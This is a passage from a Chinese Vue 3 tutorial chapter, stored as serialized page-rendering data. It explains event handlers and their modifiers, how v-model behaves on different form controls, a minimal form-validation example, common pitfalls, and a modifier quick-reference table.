选择表",[57,22276,22277,22288],{},[60,22278,22279],{},[63,22280,22281,22283,22285],{},[66,22282,9791],{},[66,22284,9794],{},[66,22286,22287],{},"理由",[79,22289,22290,22302,22317,22329,22343],{},[63,22291,22292,22295,22299],{},[84,22293,22294],{},"界面要显示一个算出来的值",[84,22296,22297],{},[22,22298,4781],{},[84,22300,22301],{},"有缓存、纯函数、模板里读着舒服",[63,22303,22304,22309,22314],{},[84,22305,22306,22307,5149],{},"值需要双向换算（可 ",[22,22308,20316],{},[84,22310,22311,22312],{},"可写 ",[22,22313,4781],{},[84,22315,22316],{},"get\u002Fset 成对写，不用手动同步",[63,22318,22319,22322,22326],{},[84,22320,22321],{},"数据变了要发请求 \u002F 写存储 \u002F 埋点",[84,22323,22324],{},[22,22325,5460],{},[84,22327,22328],{},"能拿旧值、能控制 deep\u002Fimmediate",[63,22330,22331,22334,22340],{},[84,22332,22333],{},"依赖很多且都相关（搜索防抖）",[84,22335,22336,4809,22338],{},[22,22337,22042],{},[22,22339,22011],{},[84,22341,22342],{},"自动收集依赖，省去一长串监听列表",[63,22344,22345,22348,22356],{},[84,22346,22347],{},"只想知道「渲染完成了」",[84,22349,22350,1901,22353],{},[22,22351,22352],{},"onUpdated",[22,22354,22355],{},"nextTick",[84,22357,22358],{},"见第十二章，别用 watch 代替生命周期",[57,22360,22361,22375],{},[60,22362,22363],{},[63,22364,22365,22370,22372],{},[66,22366,22367,22369],{},[22,22368,5460],{}," 选项",[66,22371,5540],{},[66,22373,22374],{},"说明",[79,22376,22377,22388,22400,22421],{},[63,22378,22379,22383,22385],{},[84,22380,22381],{},[22,22382,8398],{},[84,22384,3193],{},[84,22386,22387],{},"创建时立刻用当前值执行一次回调",[63,22389,22390,22394,22397],{},[84,22391,22392],{},[22,22393,21992],{},[84,22395,22396],{},"reactive 源为 true，其他 false",[84,22398,22399],{},"深层遍历比较，代价随对象体积增长",[63,22401,22402,22406,22410],{},[84,22403,22404],{},[22,22405,21996],{},[84,22407,22408],{},[22,22409,21999],{},[84,22411,22412,22414,22415,22417,22418,22420],{},[22,22413,21999],{}," 组件更新前 \u002F ",[22,22416,22003],{}," 更新后（读 DOM） \u002F ",[22,22419,22007],{}," 同步",[63,22422,22423,22429,22431],{},[84,22424,22425,22428],{},[22,22426,22427],{},"once","（3.5+）",[84,22430,3193],{},[84,22432,22433,22434],{},"触发一次后自动停止，替代手写 ",[22,22435,22436],{},"stop()",[48,22438,22440],{"id":22439},"六事件处理与-v-model表单是双向绑定的主战场","六、事件处理与 v-model：表单是双向绑定的主战场",[11,22442,22443,22444,22446,22447,22449,22450,22452],{},"事件是「用户操作 → 数据变化」，",[22,22445,20316],{}," 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里，规则却不太一样：",[22,22448,20285],{}," 后面那串是「语句或表达式」，",[22,22451,20316],{}," 背后其实是两个绑定。",[53,22454,22456,22457,22459],{"id":22455},"事件click-后面能写什么","事件：",[22,22458,19525],{}," 后面能写什么",[308,22461,22463],{"className":5996,"code":22462,"language":5998,"meta":314,"style":314},"\u003Ctemplate>\n  \u003Cbutton @click=\"count++\">自增\u003C\u002Fbutton>                 \u003C!-- 内联表达式 -->\n  \u003Cbutton @click=\"add(2)\">加 2\u003C\u002Fbutton>                   \u003C!-- 内联调用，传自己的参数 -->\n  \u003Cbutton @click=\"onKey($event, 'save')\">带 $event\u003C\u002Fbutton>  \u003C!-- 需要事件对象时显式写 $event -->\n  \u003Cbutton @click=\"submit\">直接给函数引用\u003C\u002Fbutton>          \u003C!-- 参数是原生 event（或 emit 的载荷） -->\n\u003C\u002Ftemplate>\n",[22,22464,22465,22473,22496,22519,22542,22565],{"__ignoreMap":314},[331,22466,22467,22469,22471],{"class":333,"line":334},[331,22468,510],{"class":337},[331,22470,6012],{"class":497},[331,22472,505],{"class":337},[331,22474,22475,22477,22479,22481,22483,22485,22488,22490,22493],{"class":333,"line":341},[331,22476,537],{"class":337},[331,22478,824],{"class":497},[331,22480,7348],{"class":501},[331,22482,518],{"class":337},[331,22484,19699],{"class":365},[331,22486,22487],{"class":337},">自增\u003C\u002F",[331,22489,824],{"class":497},[331,22491,22492],{"class":337},">                 ",[331,22494,22495],{"class":1003},"\u003C!-- 内联表达式 -->\n",[331,22497,22498,22500,22502,22504,22506,22509,22512,22514,22516],{"class":333,"line":357},[331,22499,537],{"class":337},[331,22501,824],{"class":497},[331,22503,7348],{"class":501},[331,22505,518],{"class":337},[331,22507,22508],{"class":365},"\"add(2)\"",[331,22510,22511],{"class":337},">加 2\u003C\u002F",[331,22513,824],{"class":497},[331,22515,18689],{"class":337},[331,22517,22518],{"class":1003},"\u003C!-- 内联调用，传自己的参数 -->\n",[331,22520,22521,22523,22525,22527,22529,22532,22535,22537,22539],{"class":333,"line":371},[331,22522,537],{"class":337},[331,22524,824],{"class":497},[331,22526,7348],{"class":501},[331,22528,518],{"class":337},[331,22530,22531],{"class":365},"\"onKey($event, 'save')\"",[331,22533,22534],{"class":337},">带 $event\u003C\u002F",[331,22536,824],{"class":497},[331,22538,18706],{"class":337},[331,22540,22541],{"class":1003},"\u003C!-- 需要事件对象时显式写 $event -->\n",[331,22543,22544,22546,22548,22550,22552,22555,22558,22560,22562],{"class":333,"line":384},[331,22545,537],{"class":337},[331,22547,824],{"class":497},[331,22549,7348],{"class":501},[331,22551,518],{"class":337},[331,22553,22554],{"class":365},"\"submit\"",[331,22556,22557],{"class":337},">直接给函数引用\u003C\u002F",[331,22559,824],{"class":497},[331,22561,18672],{"class":337},[331,22563,22564],{"class":1003},"\u003C!-- 参数是原生 event（或 emit 的载荷） -->\n",[331,22566,22567,22569,22571],{"class":333,"line":397},[331,22568,788],{"class":337},[331,22570,6012],{"class":497},[331,22572,505],{"class":337},[11,22574,22575,22576,22579,22580,22582,22583,22586,22587],{},"「写函数名」和「写函数名+括号」的差别很关键：",[22,22577,22578],{},"@click=\"submit\""," 会把原生 ",[22,22581,10115],{}," 当第一个参数传进去；",[22,22584,22585],{},"@click=\"submit()\""," 则不传参。",[17,22588,22589,22590,161],{},"需要 event 又怕被别的东西污染，就显式写 ",[22,22591,22592],{},"$event",[308,22594,22596],{"className":942,"code":22595,"language":944,"meta":314,"style":314},"function onKey(e, action) {\n  console.log(e.key, action)   \u002F\u002F e 是 KeyboardEvent\n}\n",[22,22597,22598,22615,22628],{"__ignoreMap":314},[331,22599,22600,22602,22605,22607,22609,22611,22613],{"class":333,"line":334},[331,22601,3047],{"class":616},[331,22603,22604],{"class":501}," onKey",[331,22606,966],{"class":337},[331,22608,9481],{"class":2472},[331,22610,409],{"class":337},[331,22612,203],{"class":2472},[331,22614,2476],{"class":337},[331,22616,22617,22620,22622,22625],{"class":333,"line":341},[331,22618,22619],{"class":337},"  console.",[331,22621,3533],{"class":501},[331,22623,22624],{"class":337},"(e.key, action)   ",[331,22626,22627],{"class":1003},"\u002F\u002F e 是 KeyboardEvent\n",[331,22629,22630],{"class":333,"line":357},[331,22631,459],{"class":337},[53,22633,22635,22636],{"id":22634},"修饰符省掉那些-estoppropagation","修饰符：省掉那些 ",[22,22637,22638],{},"e.stopPropagation()",[308,22640,22642],{"className":485,"code":22641,"language":487,"meta":314,"style":314},"\u003Cform @submit.prevent=\"onSubmit\">              \u003C!-- 阻止默认提交（页面刷新） -->\n\u003Cdiv @click=\"outer\">\n  \u003Cbutton @click.stop=\"inner\">不冒泡\u003C\u002Fbutton>   \u003C!-- 只触发 inner -->\n  \u003Cbutton @click.self=\"outer\">只有点自己才触发\u003C\u002Fbutton>\n  \u003Cbutton @click.capture=\"log\">捕获阶段先走我\u003C\u002Fbutton>\n  \u003Cbutton @click.once=\"claim\">只能点一次\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\u003Cinput @keyup.enter=\"search\" @keyup.esc=\"clear\">\n\u003Cdiv @touchmove.passive=\"onMove\">滚动不阻塞\u003C\u002Fdiv>   \u003C!-- passive 里不能再 preventDefault -->\n",[22,22643,22644,22661,22676,22700,22720,22741,22762,22770,22792],{"__ignoreMap":314},[331,22645,22646,22648,22650,22652,22654,22656,22658],{"class":333,"line":334},[331,22647,510],{"class":337},[331,22649,19713],{"class":497},[331,22651,19716],{"class":501},[331,22653,518],{"class":337},[331,22655,19721],{"class":365},[331,22657,20638],{"class":337},[331,22659,22660],{"class":1003},"\u003C!-- 阻止默认提交（页面刷新） -->\n",[331,22662,22663,22665,22667,22669,22671,22674],{"class":333,"line":341},[331,22664,510],{"class":337},[331,22666,6021],{"class":497},[331,22668,7348],{"class":501},[331,22670,518],{"class":337},[331,22672,22673],{"class":365},"\"outer\"",[331,22675,505],{"class":337},[331,22677,22678,22680,22682,22685,22687,22690,22693,22695,22697],{"class":333,"line":357},[331,22679,537],{"class":337},[331,22681,824],{"class":497},[331,22683,22684],{"class":501}," @click.stop",[331,22686,518],{"class":337},[331,22688,22689],{"class":365},"\"inner\"",[331,22691,22692],{"class":337},">不冒泡\u003C\u002F",[331,22694,824],{"class":497},[331,22696,16314],{"class":337},[331,22698,22699],{"class":1003},"\u003C!-- 只触发 inner -->\n",[331,22701,22702,22704,22706,22709,22711,22713,22716,22718],{"class":333,"line":371},[331,22703,537],{"class":337},[331,22705,824],{"class":497},[331,22707,22708],{"class":501}," @click.self",[331,22710,518],{"class":337},[331,22712,22673],{"class":365},[331,22714,22715],{"class":337},">只有点自己才触发\u003C\u002F",[331,22717,824],{"class":497},[331,22719,505],{"class":337},[331,22721,22722,22724,22726,22729,22731,22734,22737,22739],{"class":333,"line":384},[331,22723,537],{"class":337},[331,22725,824],{"class":497},[331,22727,22728],{"class":501}," @click.capture",[331,22730,518],{"class":337},[331,22732,22733],{"class":365},"\"log\"",[331,22735,22736],{"class":337},">捕获阶段先走我\u003C\u002F",[331,22738,824],{"class":497},[331,22740,505],{"class":337},[331,22742,22743,22745,22747,22750,22752,22755,22758,22760],{"class":333,"line":397},[331,22744,537],{"class":337},[331,22746,824],{"class":497},[331,22748,22749],{"class":501}," @click.once",[331,22751,518],{"class":337},[331,22753,22754],{"class":365},"\"claim\"",[331,22756,22757],{"class":337},">只能点一次\u003C\u002F",[331,22759,824],{"class":497},[331,22761,505],{"class":337},[331,22763,22764,22766,22768],{"class":333,"line":418},[331,22765,788],{"class":337},[331,22767,6021],{"class":497},[331,22769,505],{"class":337},[331,22771,22772,22774,22776,22778,22780,22782,22785,22787,22790],{"class":333,"line":427},[331,22773,510],{"class":337},[331,22775,19733],{"class":497},[331,22777,19744],{"class":501},[331,22779,518],{"class":337},[331,22781,19749],{"class":365},[331,22783,22784],{"class":501}," @keyup.esc",[331,22786,518],{"class":337},[331,22788,22789],{"class":365},"\"clear\"",[331,22791,505],{"class":337},[331,22793,22794,22796,22798,22801,22803,22806,22809,22811,22813],{"class":333,"line":439},[331,22795,510],{"class":337},[331,22797,6021],{"class":497},[331,22799,22800],{"class":501}," @touchmove.passive",[331,22802,518],{"class":337},[331,22804,22805],{"class":365},"\"onMove\"",[331,22807,22808],{"class":337},">滚动不阻塞\u003C\u002F",[331,22810,6021],{"class":497},[331,22812,16314],{"class":337},[331,22814,22815],{"class":1003},"\u003C!-- passive 里不能再 preventDefault -->\n",[11,22817,22818,22820,22821,5160,22823,22825],{},[22,22819,20465],{}," 用来给移动端滚动优化（告诉浏览器你不会阻止默认行为）；",[22,22822,20420],{},[22,22824,20465],{}," 冲突，同时写会收到警告。",[53,22827,22829],{"id":22828},"v-model各控件里存的到底是什么","v-model：各控件里存的到底是什么",[11,22831,22832,22835,22836,4809,22839,22842,22843,4809,22846,22849,22850,22852],{},[22,22833,22834],{},"v-model=\"x\""," 展开是 ",[22,22837,22838],{},":value=\"x\"",[22,22840,22841],{},"@input=\"x = $event.target.value\"","（组件上则是 ",[22,22844,22845],{},"modelValue",[22,22847,22848],{},"update:modelValue","）。因为它是「语法糖」，不同控件下 ",[22,22851,21547],{}," 的类型会不一样——这是本章最容易踩的地方，示例 06 把每种控件的当前值和类型实时打在旁边。",[57,22854,22855,22869],{},[60,22856,22857],{},[63,22858,22859,22862,22867],{},[66,22860,22861],{},"控件",[66,22863,22864,22866],{},[22,22865,20316],{}," 绑的值",[66,22868,22374],{},[79,22870,22871,22887,22907,22926,22941,22959],{},[63,22872,22873,22881,22884],{},[84,22874,22875,1901,22878],{},[22,22876,22877],{},"\u003Cinput type=\"text\">",[22,22879,22880],{},"\u003Ctextarea>",[84,22882,22883],{},"字符串",[84,22885,22886],{},"输入即同步",[63,22888,22889,22895,22898],{},[84,22890,22891,22894],{},[22,22892,22893],{},"\u003Cinput type=\"checkbox\">","（单个）",[84,22896,22897],{},"布尔",[84,22899,22900,22901,1901,22904],{},"想绑别的值要用 ",[22,22902,22903],{},"true-value",[22,22905,22906],{},"false-value",[63,22908,22909,22914,22919],{},[84,22910,22911,22913],{},[22,22912,22893],{},"（同组多个）",[84,22915,22916],{},[17,22917,22918],{},"数组",[84,22920,22921,22922,22925],{},"勾中的 ",[22,22923,22924],{},"value"," 被 push 进数组",[63,22927,22928,22933,22938],{},[84,22929,22930],{},[22,22931,22932],{},"\u003Cinput type=\"radio\">",[84,22934,22935,22936],{},"被选中项的 ",[22,22937,22924],{},[84,22939,22940],{},"同一组共用一个 v-model",[63,22942,22943,22948,22951],{},[84,22944,22945],{},[22,22946,22947],{},"\u003Cselect>",[84,22949,22950],{},"选中项的值",[84,22952,6381,22953,22956,22957],{},[22,22954,22955],{},"multiple"," 时是",[17,22958,22918],{},[63,22960,22961,22966,22968],{},[84,22962,22963,5898],{},[22,22964,22965],{},"\u003Cinput type=\"date\">",[84,22967,22883],{},[84,22969,22970],{},"格式由浏览器控件决定",[308,22972,22974],{"className":485,"code":22973,"language":487,"meta":314,"style":314},"\u003Cinput v-model.number=\"age\">      \u003C!-- 尝试 parseFloat，失败保持原样 -->\n\u003Cinput v-model.trim=\"name\">       \u003C!-- change 时自动去首尾空格 -->\n\u003Cinput v-model.lazy=\"comment\">    \u003C!-- blur 才同步（长文本输入减少重渲染） -->\n\u003Cinput v-model=\"text\" :value=\"text\">  \u003C!-- 别这么写：v-model 会覆盖 value -->\n",[22,22975,22976,22996,23016,23035],{"__ignoreMap":314},[331,22977,22978,22980,22982,22985,22987,22990,22993],{"class":333,"line":334},[331,22979,510],{"class":337},[331,22981,19733],{"class":497},[331,22983,22984],{"class":501}," v-model.number",[331,22986,518],{"class":337},[331,22988,22989],{"class":365},"\"age\"",[331,22991,22992],{"class":337},">      ",[331,22994,22995],{"class":1003},"\u003C!-- 尝试 parseFloat，失败保持原样 -->\n",[331,22997,22998,23000,23002,23005,23007,23010,23013],{"class":333,"line":341},[331,22999,510],{"class":337},[331,23001,19733],{"class":497},[331,23003,23004],{"class":501}," v-model.trim",[331,23006,518],{"class":337},[331,23008,23009],{"class":365},"\"name\"",[331,23011,23012],{"class":337},">       ",[331,23014,23015],{"class":1003},"\u003C!-- change 时自动去首尾空格 -->\n",[331,23017,23018,23020,23022,23025,23027,23030,23032],{"class":333,"line":357},[331,23019,510],{"class":337},[331,23021,19733],{"class":497},[331,23023,23024],{"class":501}," v-model.lazy",[331,23026,518],{"class":337},[331,23028,23029],{"class":365},"\"comment\"",[331,23031,16288],{"class":337},[331,23033,23034],{"class":1003},"\u003C!-- blur 才同步（长文本输入减少重渲染） -->\n",[331,23036,23037,23039,23041,23043,23045,23048,23051,23053,23055,23057],{"class":333,"line":371},[331,23038,510],{"class":337},[331,23040,19733],{"class":497},[331,23042,19736],{"class":501},[331,23044,518],{"class":337},[331,23046,23047],{"class":365},"\"text\"",[331,23049,23050],{"class":501}," :value",[331,23052,518],{"class":337},[331,23054,23047],{"class":365},[331,23056,18706],{"class":337},[331,23058,23059],{"class":1003},"\u003C!-- 别这么写：v-model 会覆盖 value -->\n",[11,23061,23062,23063,23066,23067,23069,23070,23072,23073,23076,23077,23080,23081,17306,23083,5160,23086,23088],{},"三个修饰符的行为细节：",[22,23064,23065],{},".number"," 遇到空串会留下 ",[22,23068,9164],{}," 而不是 ",[22,23071,628],{},"（校验时注意）；",[22,23074,23075],{},".lazy"," 让同步发生在 ",[22,23078,23079],{},"change","（失焦）而不是 ",[22,23082,19733],{},[22,23084,23085],{},".trim",[22,23087,23075],{}," 组合使用效果最好（失焦时才裁剪）。",[53,23090,23092],{"id":23091},"事件与-v-model-的配合表单校验最小可用版","事件与 v-model 的配合：表单校验最小可用版",[308,23094,23096],{"className":5996,"code":23095,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { reactive, computed } from 'vue'\nconst form = reactive({ name: '', age: '', agree: false })\nconst nameErr = computed(() => form.name.trim() ? '' : '姓名必填')\nconst canSubmit = computed(() => !nameErr.value && form.agree)\n\nfunction submit() {\n  if (!canSubmit.value) return\n  \u002F\u002F 提交逻辑：这里才真的发请求\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cform @submit.prevent=\"submit\">\n    \u003Cinput v-model.trim=\"form.name\" placeholder=\"姓名\">\n    \u003Cp v-if=\"nameErr\" class=\"err\">{{ nameErr }}\u003C\u002Fp>\n    \u003Cinput v-model.number=\"form.age\" type=\"number\" min=\"1\" placeholder=\"年龄\">\n    \u003Cinput id=\"agree\" v-model=\"form.agree\" type=\"checkbox\">\n    \u003Clabel for=\"agree\">同意条款\u003C\u002Flabel>\n    \u003Cbutton type=\"submit\" :disabled=\"!canSubmit\">提交\u003C\u002Fbutton>\n  \u003C\u002Fform>\n\u003C\u002Ftemplate>\n",[22,23097,23098,23108,23119,23145,23180,23205,23209,23217,23231,23236,23240,23248,23252,23260,23274,23297,23323,23359,23388,23409,23436,23444],{"__ignoreMap":314},[331,23099,23100,23102,23104,23106],{"class":333,"line":334},[331,23101,510],{"class":337},[331,23103,891],{"class":497},[331,23105,6299],{"class":501},[331,23107,505],{"class":337},[331,23109,23110,23112,23115,23117],{"class":333,"line":341},[331,23111,4648],{"class":616},[331,23113,23114],{"class":337}," { reactive, computed } ",[331,23116,13735],{"class":616},[331,23118,17864],{"class":365},[331,23120,23121,23123,23125,23127,23129,23131,23133,23136,23138,23141,23143],{"class":333,"line":357},[331,23122,951],{"class":616},[331,23124,9153],{"class":344},[331,23126,957],{"class":616},[331,23128,9158],{"class":501},[331,23130,20596],{"class":337},[331,23132,9164],{"class":365},[331,23134,23135],{"class":337},", age: ",[331,23137,9164],{"class":365},[331,23139,23140],{"class":337},", agree: ",[331,23142,3193],{"class":344},[331,23144,1139],{"class":337},[331,23146,23147,23149,23152,23154,23156,23158,23160,23163,23166,23169,23171,23173,23175,23178],{"class":333,"line":371},[331,23148,951],{"class":616},[331,23150,23151],{"class":344}," nameErr",[331,23153,957],{"class":616},[331,23155,13798],{"class":501},[331,23157,1486],{"class":337},[331,23159,1489],{"class":616},[331,23161,23162],{"class":337}," form.name.",[331,23164,23165],{"class":501},"trim",[331,23167,23168],{"class":337},"() ",[331,23170,1177],{"class":616},[331,23172,1203],{"class":365},[331,23174,2636],{"class":616},[331,23176,23177],{"class":365}," '姓名必填'",[331,23179,972],{"class":337},[331,23181,23182,23184,23187,23189,23191,23193,23195,23197,23200,23202],{"class":333,"line":384},[331,23183,951],{"class":616},[331,23185,23186],{"class":344}," canSubmit",[331,23188,957],{"class":616},[331,23190,13798],{"class":501},[331,23192,1486],{"class":337},[331,23194,1489],{"class":616},[331,23196,1165],{"class":616},[331,23198,23199],{"class":337},"nameErr.value ",[331,23201,14406],{"class":616},[331,23203,23204],{"class":337}," form.agree)\n",[331,23206,23207],{"class":333,"line":397},[331,23208,998],{"emptyLinePlaceholder":997},[331,23210,23211,23213,23215],{"class":333,"line":418},[331,23212,3047],{"class":616},[331,23214,9180],{"class":501},[331,23216,1072],{"class":337},[331,23218,23219,23221,23223,23225,23228],{"class":333,"line":427},[331,23220,1526],{"class":616},[331,23222,1147],{"class":337},[331,23224,1150],{"class":616},[331,23226,23227],{"class":337},"canSubmit.value) ",[331,23229,23230],{"class":616},"return\n",[331,23232,23233],{"class":333,"line":439},[331,23234,23235],{"class":1003},"  \u002F\u002F 提交逻辑：这里才真的发请求\n",[331,23237,23238],{"class":333,"line":450},[331,23239,459],{"class":337},[331,23241,23242,23244,23246],{"class":333,"line":456},[331,23243,788],{"class":337},[331,23245,891],{"class":497},[331,23247,505],{"class":337},[331,23249,23250],{"class":333,"line":775},[331,23251,998],{"emptyLinePlaceholder":997},[331,23253,23254,23256,23258],{"class":333,"line":785},[331,23255,510],{"class":337},[331,23257,6012],{"class":497},[331,23259,505],{"class":337},[331,23261,23262,23264,23266,23268,23270,23272],{"class":333,"line":795},[331,23263,537],{"class":337},[331,23265,19713],{"class":497},[331,23267,19716],{"class":501},[331,23269,518],{"class":337},[331,23271,22554],{"class":365},[331,23273,505],{"class":337},[331,23275,23276,23278,23280,23282,23284,23287,23290,23292,23295],{"class":333,"line":805},[331,23277,6036],{"class":337},[331,23279,19733],{"class":497},[331,23281,23004],{"class":501},[331,23283,518],{"class":337},[331,23285,23286],{"class":365},"\"form.name\"",[331,23288,23289],{"class":501}," placeholder",[331,23291,518],{"class":337},[331,23293,23294],{"class":365},"\"姓名\"",[331,23296,505],{"class":337},[331,23298,23299,23301,23303,23305,23307,23310,23312,23314,23316,23319,23321],{"class":333,"line":819},[331,23300,6036],{"class":337},[331,23302,11],{"class":497},[331,23304,8036],{"class":501},[331,23306,518],{"class":337},[331,23308,23309],{"class":365},"\"nameErr\"",[331,23311,6024],{"class":501},[331,23313,518],{"class":337},[331,23315,8117],{"class":365},[331,23317,23318],{"class":337},">{{ nameErr }}\u003C\u002F",[331,23320,11],{"class":497},[331,23322,505],{"class":337},[331,23324,23325,23327,23329,23331,23333,23336,23338,23340,23343,23346,23348,23350,23352,23354,23357],{"class":333,"line":850},[331,23326,6036],{"class":337},[331,23328,19733],{"class":497},[331,23330,22984],{"class":501},[331,23332,518],{"class":337},[331,23334,23335],{"class":365},"\"form.age\"",[331,23337,835],{"class":501},[331,23339,518],{"class":337},[331,23341,23342],{"class":365},"\"number\"",[331,23344,23345],{"class":501}," min",[331,23347,518],{"class":337},[331,23349,19219],{"class":365},[331,23351,23289],{"class":501},[331,23353,518],{"class":337},[331,23355,23356],{"class":365},"\"年龄\"",[331,23358,505],{"class":337},[331,23360,23361,23363,23365,23367,23369,23372,23374,23376,23379,23381,23383,23386],{"class":333,"line":886},[331,23362,6036],{"class":337},[331,23364,19733],{"class":497},[331,23366,827],{"class":501},[331,23368,518],{"class":337},[331,23370,23371],{"class":365},"\"agree\"",[331,23373,19736],{"class":501},[331,23375,518],{"class":337},[331,23377,23378],{"class":365},"\"form.agree\"",[331,23380,835],{"class":501},[331,23382,518],{"class":337},[331,23384,23385],{"class":365},"\"checkbox\"",[331,23387,505],{"class":337},[331,23389,23390,23392,23395,23398,23400,23402,23405,23407],{"class":333,"line":909},[331,23391,6036],{"class":337},[331,23393,23394],{"class":497},"label",[331,23396,23397],{"class":501}," for",[331,23399,518],{"class":337},[331,23401,23371],{"class":365},[331,23403,23404],{"class":337},">同意条款\u003C\u002F",[331,23406,23394],{"class":497},[331,23408,505],{"class":337},[331,23410,23411,23413,23415,23417,23419,23421,23424,23426,23429,23432,23434],{"class":333,"line":918},[331,23412,6036],{"class":337},[331,23414,824],{"class":497},[331,23416,835],{"class":501},[331,23418,518],{"class":337},[331,23420,22554],{"class":365},[331,23422,23423],{"class":501}," :disabled",[331,23425,518],{"class":337},[331,23427,23428],{"class":365},"\"!canSubmit\"",[331,23430,23431],{"class":337},">提交\u003C\u002F",[331,23433,824],{"class":497},[331,23435,505],{"class":337},[331,23437,23438,23440,23442],{"class":333,"line":1232},[331,23439,778],{"class":337},[331,23441,19713],{"class":497},[331,23443,505],{"class":337},[331,23445,23446,23448,23450],{"class":333,"line":1253},[331,23447,788],{"class":337},[331,23449,6012],{"class":497},[331,23451,505],{"class":337},[11,23453,23454,23455,23467,23468,23470,23471,23474],{},"这段是「入门级表单」的标准形状：",[17,23456,23457,23458,23460,23461,23463,23464],{},"数据源只有一个（",[22,23459,19713],{},"），校验用 ",[22,23462,4781],{}," 派生，提交用 ",[22,23465,23466],{},"@submit.prevent","。别在 ",[22,23469,5460],{}," 里再维护一份 ",[22,23472,23473],{},"errors"," 数据，那是「两份状态要对齐」的老问题。",[4748,23476],{"height":6589,"src":23477,"title":23478},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F06-events-vmodel.html","示例 06：事件修饰符与 v-model 在各控件上的类型",[53,23480,4796],{"id":9858},[11,23482,23483,23493,23494,23496,23497,23500,23501,655,23503,161],{},[17,23484,8723,23485,23487,23488,1901,23490,161],{},[22,23486,20316],{}," 会忽略控件上写死的 ",[22,23489,22924],{},[22,23491,23492],{},"checked"," Vue 3 明确不允许在 ",[22,23495,20316],{}," 上再用这些属性当初始值——初始值请到绑定的数据里给（",[22,23498,23499],{},"ref('初始')","）。想给 checkbox 绑自定义值用 ",[22,23502,22903],{},[22,23504,22906],{},[11,23506,23507,268,23512,23515,23516,23519,23520,23523,23524,161],{},[17,23508,23509,23510,161],{},"2. 单个 checkbox 上误用 ",[22,23511,22924],{},[22,23513,23514],{},"v-model=\"x\" value=\"A\"","（x 是字符串）不会得到 ",[22,23517,23518],{},"'A'","，会得到布尔值。想收集多选项必须是「数组型 v-model」：",[22,23521,23522],{},"v-model=\"arr\""," + 每个 input 带不同 ",[22,23525,22924],{},[11,23527,23528,23534,23535,23537,23538,23541,23542,23545],{},[17,23529,23530,23531,23533],{},"3. 组件标签上的 ",[22,23532,20316],{}," 默认失效。"," 子组件没声明 ",[22,23536,22845],{}," props 也没 ",[22,23539,23540],{},"emit('update:modelValue')"," 时，输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开（一行 ",[22,23543,23544],{},"defineModel()"," 就能补齐）。",[11,23547,23548,23554,23555,23557,23558,23561,23562,4809,23565,23567,23568,161],{},[17,23549,7689,23550,23553],{},[22,23551,23552],{},"@keyup.enter"," 在中文输入法下不准。"," 输入法组合期间的按键事件会被打断，需要「按回车才搜索」的框建议监听 ",[22,23556,23079],{}," 或加 ",[22,23559,23560],{},"@keyup.enter.native"," 时代的替代：直接用 ",[22,23563,23564],{},"@keyup=\"debouncedSearch\"",[22,23566,23075],{}," 组合，或监听 IME 的 ",[22,23569,23570],{},"compositionstart\u002Fend",[11,23572,23573,268,23582,23585,23586,161],{},[17,23574,23575,23576,23578,23579,23581],{},"5. 事件监听器在 ",[22,23577,20285],{}," 上加了修饰符就不能再传 ",[22,23580,22592],{}," 以外的隐式参数。",[22,23583,23584],{},"@click=\"handle('a')\""," 之后想拿事件对象，必须写全 ",[22,23587,23588],{},"@click=\"handle('a', $event)\"",[11,23590,23591,23597,23598,23600,23601,23603],{},[17,23592,23593,23594,23596],{},"6. 复用同一个 ",[22,23595,20316],{}," 到多个控件时小心互相覆盖。"," 一组 radio 共用一个 ",[22,23599,20316],{}," 是对的；两个不同用途的输入框共用一个 ",[22,23602,20316],{}," 就是 bug（会互相打字）。",[11,23605,23606,23613,23614,23617],{},[17,23607,5772,23608,8816,23610,23612],{},[22,23609,20316],{},[22,23611,18308],{}," 切换表单块，状态不会自动清。"," DOM 销毁了，数据还在。需要「切步骤就清空」，用 ",[22,23615,23616],{},":key=\"step\""," 强制重建组件，或手动重置。",[11,23619,23620,23629,23630,23633,23634,23637],{},[17,23621,23622,23623,8639,23626,161],{},"8. 表单里的 ",[22,23624,23625],{},"\u003Cbutton>",[22,23627,23628],{},"type=\"submit\""," 在 ",[22,23631,23632],{},"\u003Cform>"," 里加个「取消」按钮没写 ",[22,23635,23636],{},"type=\"button\"","，一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。",[53,23639,23641],{"id":23640},"附修饰符速查","附：修饰符速查",[57,23643,23644,23655],{},[60,23645,23646],{},[63,23647,23648,23650,23652],{},[66,23649,5438],{},[66,23651,19254],{},[66,23653,23654],{},"效果",[79,23656,23657,23670,23683,23694,23712,23733,23745,23775],{},[63,23658,23659,23661,23665],{},[84,23660,20316],{},[84,23662,23663],{},[22,23664,23075],{},[84,23666,23667,23669],{},[22,23668,23079],{}," 事件才同步",[63,23671,23672,23674,23678],{},[84,23673,20316],{},[84,23675,23676],{},[22,23677,23065],{},[84,23679,23680,23681,5149],{},"尝试转数字（空串保持 ",[22,23682,9164],{},[63,23684,23685,23687,23691],{},[84,23686,20316],{},[84,23688,23689],{},[22,23690,23085],{},[84,23692,23693],{},"去首尾空格",[63,23695,23696,23699,23704],{},[84,23697,23698],{},"v-model 参数",[84,23700,23701],{},[22,23702,23703],{},"v-model:title=\"t\"",[84,23705,23706,23707,4809,23709,5149],{},"指定组件上的模型名（对应 ",[22,23708,581],{},[22,23710,23711],{},"update:title",[63,23713,23714,23716,23730],{},[84,23715,19391],{},[84,23717,23718,1901,23720,1901,23722,1901,23724,1901,23726,1901,23728],{},[22,23719,20065],{},[22,23721,20420],{},[22,23723,20432],{},[22,23725,20171],{},[22,23727,20455],{},[22,23729,20465],{},[84,23731,23732],{},"见上文代码块",[63,23734,23735,23737,23740],{},[84,23736,20397],{},[84,23738,23739],{},"顺序有意义",[84,23741,23742,23744],{},[22,23743,20171],{}," 